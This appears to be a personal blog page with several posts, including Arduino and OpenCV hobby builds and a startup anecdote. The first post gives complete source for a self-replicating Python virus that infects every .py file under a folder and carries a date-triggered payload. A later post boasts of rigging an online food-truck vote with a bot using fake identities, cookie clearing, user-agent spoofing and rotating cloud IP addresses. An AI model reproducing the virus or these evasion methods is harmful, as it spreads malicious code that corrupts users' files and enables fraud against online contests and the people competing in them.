How to Make a Simple Computer Virus with Python
A great way to test your skills in a computer language is to try making a computer virus with that language. Python seems to be the hot language right now… so let’s make a Python virus.
If your language of choice is PHP, I already created a PHP virus here.
Let’s start with the source code:
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
You can also download the source code from github.
This is just an educational python virus that infects .py files. You’ll notice there are 3 parts to the virus. Search, infect, bomb. It works exactly like the PHP virus.
Search recurses through the current folder and finds .py files. If the file is already infected, it skips it. Otherwise, it adds it to the list of files to be infected.
Infect grabs the virus portion of the code from itself and prepends it to each of the victim files. This way, everytime each of the infected python files run, it runs the virus first.
Bomb is the portion of the code that gets triggered by a date. In this case, it is triggered by my birthdate and prints a harmless “HAPPY BIRTHDAY CRANKLIN!” message to the screen.
Even though it’s a harmless virus, it IS still a virus and should be used with caution. Try not to run it from the document root of your django website.
Enjoy…
My Face Tracking Robot
I’ve been playing with the OpenCV (Computer Vision) library for Python in my spare time, and it is pretty fun. It opens up a whole new world of possibilities. Now I can work on motion detection, facial recognition, sentry guns, etc.
Previously, I rigged up a miniature motion-controlled turret using 9g micro servos, cardboard and duct tape.
This time, I got a little more serious and used MG-995 servos and better hardware. The arduino software works exactly the same however, so I could just plug it right in.
That’s cool and all, but I want it to track people or track faces and follow them automatically. So… I mounted a webcam on top of my device and I wrote up some quick arduino code that listens for signals through the serial/USB port and moves it in the appropriate direction.
![]()
![]()
All the face tracking goodness will happen on the laptop then send signals to the arduino which will then rotate the pair of servos accordingly. Sounds like a plan!
Now, I made 2 different versions of the arduino code and 2 different versions of the python code because I wasn’t sure what would work better.
Face detection requires Haar cascades which require training. For your information, I didn’t need to train my program, I just used cascade files that were available to me. (Already includes full body, frontal face, profile face, upper body, lower body, etc.) Without further training, it has difficulty detecting tilted faces, sideways faces, and upside-down faces.
So I wrote another version that only detects a face initially, then keeps running a template match with the first matched face. This finds the segment in the screen that most closely resembles the face. This now works with upside-down faces, but doesn’t work well with shrinking faces or expanding faces (when you move too close or too far from the camera).
As for the arduino code, I made one that just takes a simple 0 for reset and 1-4 to move x angles up,right,down,left. I also made another one that takes [x-coordinate]x[y-coordinate]y and jumps the servos to that destination.
What I find works best is the pure face detection + directional arduino code.
See it in action!
You can download the source code here:
https://github.com/cranklin/Face-Tracking-Robot
Enjoy!
My Motion-Controlled Miniature Turret
I needed a break from work (real work), so I decided to spend an hour or two playing with microcontrollers again.
I’ve been itching to build a sentry gun, however, I’m still in the process of getting comfortable with opencv, face detection, pattern recognition, etc.
In the meantime, I decided this was the perfect opportunity to experiment with my 3-axis accelerometer and a couple servos.

A while back, I posted an entry about my homemade Nintendo powerglove using flex sensors. This time, I want to attach an accelerometer to that same glove and use my hand to control a little missile turret.
First, I ghetto-rigged this miniature pan/tilt turret using two micro servos, cardboard, screws, and duct tape. I probably shouldn’t be using cardboard, but this is just a prototype.

Next, I connected my ADXL335 3-axis accelerometer’s X,Y,Z terminals to analog pins 1-3 on my arduino. I plugged ground into ground and power into the 3.3V source (5V is too high).
I serial.printed the readings while playing with the accelerometer to find out what the range of the readings were. This is what I got:
| Min | Max | |
| X | 268 | 409 |
| Y | 263 | 402 |
| Z | 277 | 412 |
X was the result of tilting the accelerometer left and right.
Y was the result of tilting the accelerometer forward and back.
Z reflected the orientation of the accelerometer whether it was upright or upside down.
Now, the servos accept a digital value from 0 to 180 for a full 180 degree range.
So, how do get the arduino to convert accelerometer readings to servo outputs? Exactly the same way you derive the well-known Fahrenheit/Celsius conversion formula. In case you forgot: (skip if you already know it)
How to Derive the Fahrenheit to Celsius Conversion Formula
You need two anchor points for each Celsius and Fahrenheit. We’ll use the water freezing and boiling temperatures.
| freezes | boils | |
| C | 0 | 100 |
| F | 32 | 212 |
Now, we represent these values in slope-intercept form:
y = mx + b
and we’ll say y is Fahrenheit.
We get 32 = 0m + b
and 212 = 100m + b
b = 32 and plugging that into the second equation, we derive that m = 9/5
Therefore, F = (9/5)*C + 32
So given the data:
268 = 0m + b
b = 268
409 = 180m + 268
141 = 180m
m = 141/180 = 47/60
Therefore: xAcc = xServo*(47/60)+268
and…
263 = b
402 = 180m + 263
134 = 180m
m = 67/90
Therefore: yAcc = yServo*(67/90) + 263
And that’s all there is to it!
Onto the code:
#include <Servo.h>
Servo servo1;
Servo servo2;
const int xpin = A3;
const int ypin = A2;
const int zpin = A1;
int pos1 = 90;
int pos2 = 90;
void setup()
{
servo1.attach(7);
servo2.attach(8);
moveto(servo1,90);
moveto(servo2,90);
}
void loop()
{
pos1 = (analogRead(xpin) - 268) * (int)(60 / 47);
pos2 = (analogRead(ypin) - 263) * (int)(90 / 67);
moveto(servo1,pos1);
moveto(servo2,pos2);
delay(400);
}
void moveto(Servo whichservo,int position){
whichservo.write(position);
}

Adjusting the delay value to a lesser integer makes it more responsive but I raised the delay because I naturally shake a lot and the turret looks like it’s spazzing out.
So what is next? I need to mount a little water pistol and detect humans using the openCV library. If and when I do that, I will do a follow-up.
So You Think You Have What it Takes to Start a Business?
I was going to title this, The Triptrotting Story
Almost once a week, I get a random phone call, email, message, etc. It goes something like this:
“Hey Eddie, I’ve got this million dollar idea. I just need a programmer to make it.”
*pause
Before I go on any further, if you’re an engineer, I’m sure this already sounds familiar to you.
*unpause
“I checked and there’s nothing like this out there. It’s sort of like facebook but better. It’s like facebook meets twitter meets google! Well? What do you think? We’ll go 50/50 on this. You handle the programming, I handle the business side of things.”
“Do you know what 1% of facebook is worth? We’ll become billionaires like the Facebook guys. We’d make a good team.”
“I know this guy that knows Elijah Wood. I can get Elijah Wood to promote our product. We’ll get a million users overnight! It shouldn’t take you too long to build something like that right?”
I’m sure this sounds familiar to many of you…
The truth is, your “good idea” is worthless. If you think I’m wrong, imagine walking into the Honda corporate office and pitching this:
“Listen. I’ve got an AWESOME idea. Let’s create a Honda Civic that can fly and runs on flex fuel! We’ll go 50/50 on it. We’ll be disruptors!”
Lots of people say they will handle the “business side” of things, but do they even know what that entails? They obviously asked me to be their partner because they know I am capable of building the product… but what have they proved? 9 times out of 10, they have no start-up experience and no track record. Even if they have an MBA, it doesn’t impress me. To rashly claim they’ll “handle the business side of things” is an insult to the engineer and to the true businessmen/women out there that DO know what they are doing AND have a proven track record. To top it off, can you afford to pay your engineer? If not, ALL the risk is on the engineer’s side. If the product sells, great. If not, you’ve lost nothing. Programmer time is NOT cheap my friends. With google and facebook competing to swoop up all the engineering talent, salaries have been rising fast. Even the mid-level engineers at google are earning salaries of $250k and up. If you’re pitching to an engineer to join you, you better have a REALLY compelling reason.
Needless to say, I am extremely picky when choosing my partners.
So why did I join Triptrotting?
In August of 2009, Aigerim and Shana came up with the idea for a website that connected travelers with hosts around the world. They were two USC graduates with backgrounds in banking and were clueless about starting a business. So what did they do? They went to google.com and searched “how to start a business”.
No joke. Can you believe that? A person that isn’t afraid to ask will receive answers.
Their first version of the website wasn’t a website at all. Rather, it was a shared Google Spreadsheet Doc which they used to manually introduce travelers to hosts.
Now, of course they needed a REAL website. However, neither of them knew how to program. Finding a programmer is not easy. Rather than waiting around, Shana was determined to do it herself and enrolled in a HTML class.
Shortly after, they met a few inexperienced engineers who wanted to be part of the project.
After about a year of development, they built an incomplete, buggy, and “rough” website spaghetti coded in JSP. They weren’t ashamed of their website, and they shared it proudly..
They engaged in tech events, angel events, investor meets, and even joined startup competitions. They even attended awkward tech parties where all the other attendees were nerds!. Eventually, they got introduced to Bill Gross (Idealab). Even with their incomplete website, Triptrotting got Bill Gross’ attention and became one of Triptrotting’s first investors!
Most people relax after receiving their first round of funding. Not Aigerim and Shana. They understood that raising money was not the end, but the beginning. They CONSERVED their money. Aigerim lived with her parents. She drives a humble Toyota Corolla. Shana paid for rent by utilizing AirBnB.com. They never ate out. They paid themselves a ridiculously small salary and set aside enough money to hire a full time engineer and pay for marketing expenses.
This is around the time I met Shana and Aigerim. I knew nothing about them. When I first talked to them about Triptrotting, I was unmoved. Most online startups without a tech DNA are doomed to fail. They asked me to be their systems architect. They offered me equity, but I took a position as a contractor. It worked because I hated commitment and they needed their website built. I was prepared to complete the website using JSP. But once I SSH’ed onto the server and checked out the source code, I realized the code was complete garbage. I can ignore the fact that it was written in an outdated language. I can ignore the fact that there was no MVC separation of layers. I can even fix the code that was responsible for storing passwords in plain text. But what I couldn’t ignore was the fact that I was able to perform an XSS attack, a SQL injection attack, and even a (God knows what it’s called) attack where I can make Tomcat fail to parse and output the .jsp file like a text file so that it can reveal to the world what their database credentials are…… because of course, they placed the DB connection bits of code in the very same page as the HTML. There was even the issue of a user upload filename collision!
After assessing this, I made the decision to recreate the website. This time, it would be written in PHP using the Codeigniter framework. The challenge I was faced with was that they “absolutely needed” the site to be launched in exactly 3 months. We didn’t even have the new designs or wireframes.
So, I started working on what I could work on with what little information I had. I needed wireframes, so Shana downloaded wireframing software and quickly learned how to use it. She produced some of the best, most comprehensive wireframes I’ve ever worked with. They trusted me and gave me what I needed. If designs lagged, they would complain. When I needed the payment gateway, they registered. When I needed servers, they purchased. They were supportive, and I code fast. I delivered the site in 88 days… 2 days before deadline.

(Yes, that’s us at 2:16AM in the Idealab office… when the site went live.)
They couldn’t afford to hire a PR team, so Aigerim and Shana contacted the press themselves. Soon, there were articles about Triptrotting being published in several reputable sources. They hustled. Through their hard work, the number of registered members, twitter followers, and facebook likes grew exponentially.
These two girls sacrificed their social lives. Their nights and weekends were devoted to Triptrotting. At the Idealab office, they were the first ones in the office every morning, and the last ones out every night. Even when funds were tight, they persisted. Shana and Aigerim went through a stretch where they paid themselves NOTHING. They got the attention of Mark Suster (Launchpad LA) and raised their next round of funding through Launchpad. They engaged in many meetings with many investors.
A day before their scheduled meeting with Google ventures, Shana had an “AHA” moment. Her new idea would drastically improve Triptrotting’s business model and it would change the way they described the business. They needed a new deck and a new presentation. This was no time to make last minute changes, but they improvised. Shana, not being an expert in photoshop, used Microsoft Paint to design a mockup of the new Triptrotting feature. Funny right? Well, this mockup was good enough to excite Google ventures.
Just 1.5 years ago, they were clueless, google searching “how to start a business”. Today, Triptrotting has raised $1 million dollars in funding from some of the biggest names in the tech industry: Google Ventures, Mark Suster, Bill Gross, Dave McClure.
So why Triptrotting? Because of the team. Shana is a true hustler. She is incredibly resourceful. Aigerim is a shark. She won’t accept defeat. Shawn, our tech co-founder is extremely persistent and always positive. He always loves a challenge. To top it off, the Launchpad LA office is incredible. It’s an office full of hard working entrepreneurs that love to help each other out. Working with hard workers keeps me motivated as well. Now THAT is how a CEO/founder/<insert your executive title here> should be. By all means, Triptrotting isn’t near the finish line… but with founders like these, there is no doubt in my mind it will get there. What can all entrepreneurs learn from these two?
You need to understand the importance of time. You need to swallow your pride and get your hands dirty… real dirty. You need to be humble enough to ask for help. You need to be able to conserve your money and sometimes, live like a hobo. At the same time, you need to believe that nothing is beyond reach.
So I ask you again. Do you think you have what it takes to start a business?
If you’re starting a business and you’re comfortable while doing it… you’re doing it all wrong. Just ask these two. They’ll tell you.
P.S. If you are a driven, disciplined, hard worker… and you’re interested in working with us at Triptrotting, contact me.
The Great Food Truck Hack

You may or may not have seen the popular reality show “The Great Food Truck Race” on the Food Network station. For those that haven’t, it’s basically a reality show where several food trucks are in a competition against each other for a chance to win $100k. So far, there have been two seasons. What’s interesting is that the food network channel also ran a separate online voting contest called “America’s Favorite Food Truck”.
This contest started back in July with nearly 600 trucks and asked fans to nominate and vote for their favorite local truck. The food truck to earn the most votes would win $10k as well as the opportunity to be featured on the 3rd season of “The Great Food Truck Race”. That’s pretty huge if you’re in the food truck business. Being on TV would definitely give you good publicity.
I’ve tried the food from several food trucks and my personal favorite was a truck called “Bap pul”. (It means “grain of rice” in Korean) Their “baprito” is just superb. I noticed they were contestants in this online voting contest and they were in 10th place! I tried to hunt down the rest of the trucks in the top 10 list but most of them weren’t local to me.
Curious, I checked out these other trucks’ websites. I was looking at the first and second place trucks. One of them, “Chef Tai’s” had the support of Texas A&M. A quick google search led me to an online forum where A&M fans were sharing “knowledge” and “tricks” to cheat the system and squeeze in more votes for Chef Tai than they were allowed. To top that off, they were really hating on the Los Angeles food trucks. They were hating on the city of Los Angeles, UCLA, and USC! The nerve! lol. Now, I love the state of Texas, but there’s no reason to be immature and wage war against my hometown. To top it off, I don’t think it’s fair that these people are encouraging each other to cheat on this contest.

Now, I’m a fan of the underdogs… especially honest underdogs like Bap pul. Being 10th out of 600 is pretty good… but still, they could do better. So I went online and voted for Bap pul. The food network voting site required a few pieces of information in order to vote: first name, last name, email address, and phone number. So I proceeded to enter my information and vote. There were no captchas and no confirmation emails…. but once you vote, you couldn’t vote again. Wanna take a wild guess at what I was thinking? Yeah. It’s time to make a bot. Not for money nor personal gain. It was simply to help out the little guys. Game on. Let the hacking begin:
First, I needed to generate fake email addresses. A LOT of them. So I wrote a quick script that took my list of Scrabble dictionary words and selected a random word. Then the script would generate a 1 to 4 digit random integer and append it to the end of the random scrabble word. Finally, it would randomly select one of 4 major free email address domains. How well does it work? Here’s an excerpt of the generated emails:
hurrier559@yahoo.com
drollest535@msn.com
uropods110@hotmail.com
befouler180@gmail.com
grumpy792@msn.com
bullaces420@hotmail.com
durndest886@msn.com
niobous494@yahoo.com
burdock65@gmail.com
respells908@gmail.com
terry15@yahoo.com
Looks convincing to me. The bot just needed to generate, register, and save the email addresses to a text file so it can feed a “revoting” bot for the next day.
Next, I needed to find a list of first names and last names so I could randomly pair them and register to vote with them. I was looking for a list of first names online, but instead I came across a list of hurricane / tropical storm names. Haha. That will do. For last names, I just compiled a list of last names… common last names, last names of famous basketball players, politicians, actors, etc. Easy enough.
They also required a phone number. So I just used a pool of all the area codes in the Los Angeles area and created a random number generator for the rest of the seven digits. No problem.
Once you register to vote, the site remembers you so you can’t vote again. You have to wait until the next day before you can vote again. (you’re allowed to vote everyday). How to get around that? Well, using PHP’s curl’s cookie jar option and storing cookies in text format, you can then clear the file after each iteration. It would also be wise to keep altering the user agent string which is supposed to be somewhat unique. Many sites block users based on this string. How do I handle this?
$browserkey = array_rand($browsers,1);
$oskey = array_rand($operatingsystems,1);
$useragent = $browsers[$browserkey].rand(1,9).".".rand(0,50)." (".$operatingsystems[$oskey]."; ".$operatingsystems[$oskey]."; rv:".rand(1,9).".".rand(1,9).".".rand(1,9).".".rand(1,9).")";
Easy as pie.
Done with the bot. Now, I was in the middle of a meeting with Ed Park and Lucas Bean while coding all of this. I wasn’t sure if I should run the bot or not… so I set the bot to run just 200 times off of my own laptop and terminate. 200 sounds harmless right? Click. I got re-engaged in the meeting. *chit *chat…. I looked down at the screen and clicked refresh. Oh shnapps! They jumped to 8th place!
Fearing that my favorite food truck might get disqualified, I immediately halted the bot. If 8th place was THAT easy to attain, jumping them to 1st place would be nothing. I had no idea how many votes separated 1st place from 2nd place from 3rd place….. and so on. So, I made a quick modification to the bot so that it keeps voting and checking the rankings between each iteration. I would simply enter the desired place and let it run. It didn’t matter if I needed 2 votes or 100,000 votes. It would give me just the right number of votes. I named it “win baby win”. With this bot, I could make the jump in rankings look realistic and gradual without raising suspicion. What about IP address? Well, thank’s to Amazon’s EC2, I’m able to start and stop as many instances as needed…. each coming with its own IP address fresh off the Amazon IP pool.
I mean…. what are they gonna do? ban Amazon?
Fast forwarding to the final day of the contest….
While doing this, I was able to tell which trucks were cheating and which trucks were not. Yes, Chef Tai had bots running. How do I know this? Because I needed my bot to submit a ridiculous number of fresh votes daily just to catch 1st place. C’mon. No matter how many customers this guy has, he can’t get THAT many votes organically. It’s a friggin food truck getting more votes than a Madison Square Garden sell-out…. and that’s daily! On top of that, their clumsy bots were causing a near denial of service for the poor food network site. I mean, I’m sure at least one computer science major at Texas A&M could hack together a voting bot… But it didn’t matter. My bot was FAR superior.
On the final day I launched 4 different EC2 instances, uploaded the bot to all 4, then ran screen on each instance so each EC2 instance was running multiple instances of my bot! I was careful not to mistakenly cause a denial of service for the voting site. I kept the bots running til the very final moment…. and what do you know? Bap Pul ended up in 1st place!
I checked out the A&M forum again and they sounded bitter. They mentioned an announcement on the Bap pul facebook page stating “if you tell us that you voted for us, we’ll give you a free drink with your food today”. They started crying foul because apparently, according to the “rules of the contest”, that was not allowed. Little did I know they actually contacted food network about that tiny Bap pul announcement and complained. Before the winner was announced, I heard Food network actually contacted Bap pul and told them they were disqualified because they were in first place and they “incentivized the vote”. How petty. So in the end, Chef Tai won by default.
So what’s the moral of the story? There’s a few:
1) Food network needs to fire Team Digital and hire more competent developers to build something as important as an online voting contest… especially if money is involved.
2) Food network should use captchas. Not just any captchas, but my captchas.
3) College educated software engineers are just inferior.
4) Bots still rule the world… especially food network’s world.
5) The real winners: Hurricanes. Hurricanes cast the overwhelming majority of the votes.
My Insteegram Notification Gadget
In the movie “Middle Men”, two guys decide to start an online porn subscription service (which is allegedly how online credit card transactions started). They built a gadget that either whistles, chimes, rings (along with other noises) every time there is a new incoming order.
I don’t do smut, and I never will… but that movie inspired me to create my own similar gadget for Insteegram.com.
With the recent Likeacoupon deal, Insteegram has been getting a lot more sales and visitors. So, I decided to rig up this gadget using:
1 arduino uno
1 breadboard
1 arduino ethernet shield
1 yellow LED
1 330ohm resistor
1 piezo transducer
and some hook-up wires.
It works like a charm:

Everytime there’s a new user, it plays a lower octave C note.
Everytime there’s a new incoming order, it plays a upper octave C note.
Whenever there are unfulfilled orders, the yellow LED light stays on.
This gadget is totally unnecessary and a little annoying, but it’s definitely COOL!
Almost forgot…. here’s the crucial source code that makes this device run:
#include <SPI.h>
#include <Ethernet.h>
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
IPAddress server(75,101,165,24); // Insteegram
String readstring;
String userstring;
String orderstring;
int ledPin = 8;
int speakerPin = 9;
int orders,users,temporders,tempusers = 0;
EthernetClient client;
void setup() {
pinMode(speakerPin,OUTPUT);
pinMode(ledPin,OUTPUT);
//Serial.begin(9600);
if (Ethernet.begin(mac) == 0) {
//Serial.println("Failed to configure Ethernet using DHCP");
for(;;)
;
}
delay(1000);
//Serial.println("connecting...");
}
void connectToServerA()
{
if (client.connect(server, 80)) {
//Serial.println("connected to orders");
client.println("GET /****REMOVED**** HTTP/1.0");
client.println();
}
else {
//Serial.println("connection failed");
}
while (client.connected()){
while (client.available()) {
char c = client.read();
//Serial.print(c);
if(readstring.indexOf("orders:")>0){
if(c!='\n'){
//Serial.print('!');
orderstring += c;
}
}
else{
readstring += c;
}
}
if (!client.connected()) {
Serial.println();
Serial.println("disconnecting.");
client.stop();
int multiplier = 1;
for(int i=orderstring.length()-1;i>=0;i--){
if(i < orderstring.length()-1){
multiplier *= 10;
}
temporders += (orderstring[i]-'0')*multiplier;
}
//Serial.print(orderstring);
//Serial.println(temporders);
if(temporders>orders){
// alert me;
playTone(1915);
}
orders = temporders;
temporders = 0;
readstring = "";
orderstring = "";
}
delay(1000);
}
}
void connectToServerB()
{
tempusers = 0;
readstring = "";
if (client.connect(server, 80)) {
//Serial.println("connected to users");
client.println("GET /****REMOVED**** HTTP/1.0");
client.println();
}
else {
// kf you didn't get a connection to the server:
//Serial.println("connection failed");
}
while (client.connected()){
// if there are incoming bytes available
// from the server, read them and print them:
while (client.available()) {
char c = client.read();
//Serial.print(c);
if(readstring.indexOf("users:")>0){
if(c!='\n'){
//Serial.print('!');
userstring += c;
}
}
else{
readstring += c;
}
}
// if the server's disconnected, stop the client:
if (!client.connected()) {
//Serial.println();
//Serial.println("disconnecting.");
client.stop();
int multiplier = 1;
for(int i=userstring.length()-1;i>=0;i--){
if(i < userstring.length()-1){
multiplier *= 10;
}
tempusers += (userstring[i]-'0')*multiplier;
}
//Serial.print(orderstring);
//Serial.println(tempusers);
if(tempusers>users){
// alert me;
playTone(956);
}
users = tempusers;
tempusers = 0;
readstring = "";
userstring = "";
}
delay(1000);
}
}
void loop()
{
connectToServerA();
connectToServerB();
if(orders>0){
digitalWrite(ledPin, HIGH);
}
else{
digitalWrite(ledPin, LOW);
}
delay(60000);
}
void playTone(int note)
{
for (int i=0; i<100; i++)
{
digitalWrite(speakerPin, HIGH);
delayMicroseconds(note);
digitalWrite(speakerPin, LOW);
delayMicroseconds(note);
}
}




